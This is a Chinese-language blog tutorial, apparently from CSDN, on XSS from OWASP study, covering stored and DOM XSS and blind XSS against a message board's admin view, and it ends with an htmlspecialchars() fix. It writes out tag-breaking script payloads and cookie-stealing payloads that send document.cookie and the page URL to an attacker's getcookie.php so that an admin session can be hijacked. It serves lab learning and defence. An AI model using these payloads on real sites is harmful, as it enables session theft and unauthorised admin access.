OWASP学习之XSS攻击

标题XSS攻击分为三类:

  • 反射型:不具有持久性,浏览器发送数据给服务器通过PHP代码处理返回给浏览器。
  • 存储型:威胁最大,浏览器发送payload给服务器处理后给数据库。
  • DOM型:不需要服务器端内容,前端代码出问题导致前端DOM树被修改。

2.存储型

写一个php代码如下(重点注意php连接数据库的操作):

phpstudy运行这个页面加入数据库后查询id=1即可运行该script,可通过phpstudy的mysql管理器查看是否存入数据库中phpstudy运行这个页面加入数据库后查询id=1即可运行该script,可通过phpstudy的mysql管理器查看是否存入数据库中。
在这里插入图片描述phpstudy的数据库浏览界面如上。

3.DOM型

如下图控制台所示在DOM的php的脚本里加上document.url的截取参数语句:
在这里插入图片描述得到脚本如下:
在这里插入图片描述其中eval函数可以将字符串当做代码来执行,比如id=alert(1)拦截到的alert(1)在使用eval函数之后可以执行弹窗输出1。实操如下:
控制台执行document.write("<script>alert(1)</script>")也能达到eval()函数的效果,与后端无任何接触。

XSS盲打

测试留言板是否有XSS漏洞

以一台浏览器为一台电脑,火狐浏览器是黑客,谷歌浏览器是后台管理员。先打开留言板页面。
在这里插入图片描述在搜索框输入mstkey抓包发现POST方式在传数据,看源代码也没有mstkey特征字符说明不是反射型、DOM型的XSS漏洞。发表留言等的输入框输入之后(见下图):
在这里插入图片描述然后在管理员界面:
在这里插入图片描述尽量在姓名邮箱是写常规的然后只在留言内容里测试埋下黑客代码,否则可能会被筛选掉。
可以看到管理员界面还不能出发alert(1)代码,查看源码知道留言内容被html编码了:
在这里插入图片描述点f12看源码是“edit as html”可以看到恢复原来的<script></script>黑客代码编码,可见其没有被解析。
可以看到这段代码是被双引号括起来了并且有左右尖括号即input标签的右尖括号,那是不是可以在输入的时候就输入双引号和右尖括号呢?
在这里插入图片描述所以拟在输入时输入”><script>alert(1)</script>
当然要注意修改了客户端的代码之后再刷新还是服务端通过http发送的原来网站,这点是改变不了的。
当管理员触发到这条留言后为了保险就可以将其删除,怎么能长久的查看到管理员触发了我们埋的雷呢?
就可以输入触发访问文件的payload:

><script>document.location.href="http://www.hi-ourlife.com/"</script>

并且写一个get cookie的文件以对访问该文件的客户端的cookie做记录(cookie网络凭证)
通过凭证就可以登录后台:(获取自己的cookie可以使用documment.cookie来获取)
在这里插入图片描述将payload完善成为获取服务端cookie并且将获取的cokkie写到本地cookie.txt文件里:

"><script>document.loaction.href="http://192.168.0.109/mst/getcookie.php?cookie="+document.cookie</script>

这时增加功能获取cookie和url的值都存放在本地cookie.txt文件里:

  1. 将getcookie.php文件改成:
    在这里插入图片描述
  2. 将payload改成:
"><script>document.loaction.href="http://192.168.0.109/mst/getcookie.php?cookie="+document.cookie+“&durl=”+document.URL</script>

效果如图:
在这里插入图片描述firebox安装firebug插件,将获取的cookie的名字和内容重新设置就可以通过cookie设置进入到后台(不用输账号密码直接进入!!!)
在这里插入图片描述在这里插入图片描述

修复方法

仍然像html注入一样使用htmlspecialchars()函数规避:
在这里插入图片描述

发布了30 篇原创文章 · 获赞 0 · 访问量 2045

猜你喜欢

转载自blog.csdn.net/s11show_163/article/details/104297128